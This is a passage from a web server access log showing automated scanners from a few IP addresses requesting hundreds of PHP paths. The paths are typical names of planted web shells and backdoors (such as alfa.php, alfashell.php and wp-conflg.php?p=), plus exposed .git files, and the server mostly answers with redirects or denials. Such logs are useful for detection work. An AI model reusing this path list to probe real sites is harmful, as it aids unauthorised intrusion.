795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:04:45 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:04:48 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:04:51 +0300] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:04:55 +0300] "GET /nox.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:05:24 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:06:19 +0300] "GET /xaz.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:12:50 +0300] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:13:39 +0300] "GET /leon.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:13:42 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:54:57 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:55:01 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:56:54 +0300] "GET /z60.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:56:58 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:59:47 +0300] "GET /plugins/Cache/footer.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:59:49 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:59:50 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:02:10 +0300] "GET /security.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:02:13 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:04:11 +0300] "GET /2clas.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:04:14 +0300] "GET /ave.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:06:43 +0300] "GET /1aa.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:56:18 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:57:11 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:57:13 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:57:47 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:58:09 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:58:10 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:58:13 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:58:16 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:58:50 +0300] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:00:17 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:00:19 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:00:21 +0300] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:29 +0300] "GET /juuuu.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:31 +0300] "GET /ha.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:34 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:36 +0300] "GET /we2.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:39 +0300] "GET /04.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:42 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:46 +0300] "GET /520.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:05:42 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:05:43 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:12:05 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:12:06 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:13:18 +0300] "GET /wp-p2r3q9c8k4.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:56:05 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:56:09 +0300] "GET /x50.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:56:13 +0300] "GET /fv.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:57:33 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:59:40 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:00:06 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:00:07 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:00:36 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:00:39 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:00:57 +0300] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:01:00 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:01:04 +0300] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:07 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:10 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:14 +0300] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:16 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:20 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:23 +0300] "GET /ioxi-o1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:51 +0300] "GET /ar.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:54 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:57 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:05:52 +0300] "GET /ac.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:12:43 +0300] "GET /16.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:13:56 +0300] "GET /fsgdjkl.php HTTP/1.1" 301 795 "-" "-" 43.173.1.69 - - [10/Mar/2026:10:14:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.220.232.101 - - [10/Mar/2026:09:55:42 +0300] "GET /images/m.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:55:45 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:55:49 +0300] "GET /tx1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:55:53 +0300] "GET /xv.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:55:56 +0300] "GET /x56.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:56:00 +0300] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:57:03 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:57:18 +0300] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:57:52 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:57:56 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:58:23 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:58:26 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:58:27 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:58:58 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:59:02 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:59:06 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:59:09 +0300] "GET /themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:59:12 +0300] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:00:30 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:02:39 +0300] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:02:42 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:02:46 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:02:54 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:02:57 +0300] "GET /wp-content/themes/twentytwentytwo/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:02:58 +0300] "GET /.well-known/log.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:03:00 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:04:31 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:05:14 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:05:18 +0300] "GET /class9.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:06:08 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:06:29 +0300] "GET /up4.php HTTP/1.1" 301 795 "-" "-" 34.241.140.67 - - [10/Mar/2026:10:11:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Pandalytics/2.0 (https://domainsbot.com/pandalytics/)" 40.113.19.56 - - [10/Mar/2026:10:12:29 +0300] "GET /wp11.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:12:32 +0300] "GET /oirsbfkm.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:13:28 +0300] "GET /wziar1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:13:32 +0300] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:13:34 +0300] "GET /invisi.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:14:08 +0300] "GET /x12.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:55:35 +0300] "GET /fwe.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:56:28 +0300] "GET /lsd.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:59:33 +0300] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:00:12 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:00:46 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:01:37 +0300] "GET /ww1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:01:55 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:02:00 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:02:03 +0300] "GET /css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:06:56 +0300] "GET /wtz.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:07:00 +0300] "GET /galex.php HTTP/1.1" 301 795 "-" "-" 34.241.140.67 - - [10/Mar/2026:10:11:12 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Pandalytics/2.0 (https://domainsbot.com/pandalytics/)" 20.220.232.101 - - [10/Mar/2026:09:56:34 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:56:38 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:56:42 +0300] "GET /gtc.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:58:43 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:04:21 +0300] "GET /wrt.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:04:24 +0300] "GET /bibil.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:04:39 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:05:58 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:06:03 +0300] "GET /pop.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:07:23 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:12:59 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:13:05 +0300] "GET /aifa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:13:23 +0300] "GET /742.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:13:49 +0300] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:14:03 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:14:14 +0300] "GET /by.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:14:20 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:54:44 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:55:10 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:55:12 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:55:15 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:55:19 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:55:26 +0300] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:58:01 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:09:59:28 +0300] "GET /wp-admin/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:01:10 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:01:14 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:01:18 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:01:50 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:02:22 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:02:25 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:02:29 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:02:32 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:05:01 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:05:29 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:05:32 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:05:36 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:06:50 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:07:08 +0300] "GET /xb.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:07:12 +0300] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [10/Mar/2026:10:07:15 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:12:20 +0300] "GET /awh.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:13:13 +0300] "GET /cash.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:13:47 +0300] "GET /nw_ok.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:17:46 +0300] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:17:47 +0300] "GET //assets/css/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:32 +0300] "GET //x.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:33 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:36 +0300] "GET //wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:20:32 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:20:32 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:20:32 +0300] "GET /plugins.php?p= HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:20:45 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:21:58 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:22:16 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:22:56 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:23:00 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:23:15 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:23:33 +0300] "GET /bengi.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:23:36 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:23:39 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:23:54 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:23:57 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:24:00 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [10/Mar/2026:10:53:37 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [10/Mar/2026:10:53:39 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 43.228.157.67 - - [10/Mar/2026:12:06:08 +0300] "GET /.git/HEAD HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 40.113.19.56 - - [10/Mar/2026:10:15:44 +0300] "GET /cs.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:15:48 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:15:53 +0300] "GET /foxr.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:16:55 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:16:58 +0300] "GET /maxro.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:17:01 +0300] "GET /pass2.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:17:12 +0300] "GET /wsvvs.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:18:32 +0300] "GET //1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:18:35 +0300] "GET //sc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:18:37 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:18:50 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:18:53 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:18:53 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:18:55 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:18:56 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:18:58 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:00 +0300] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:42 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:44 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:47 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:50 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:54 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:56 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:56 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:59 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:20:23 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:20:40 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:20:40 +0300] "GET //wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:20:40 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:22:32 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:22:36 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:22:39 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:22:39 +0300] "GET /hi.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:22:44 +0300] "GET /lb.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:22:47 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:22:51 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:22:51 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:23:06 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 43.228.157.67 - - [10/Mar/2026:12:06:10 +0300] "GET /app/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 40.113.19.56 - - [10/Mar/2026:10:14:42 +0300] "GET /akses.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:14:44 +0300] "GET /no1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:15:07 +0300] "GET /jocundly.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:15:23 +0300] "GET /h2h.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:15:58 +0300] "GET /swallowable.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:16:01 +0300] "GET /claw.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:16:26 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:16:26 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:16:30 +0300] "GET //sys.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:17:17 +0300] "GET //3.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:18:06 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:10 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:12 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [10/Mar/2026:10:19:15 +0300] "GET 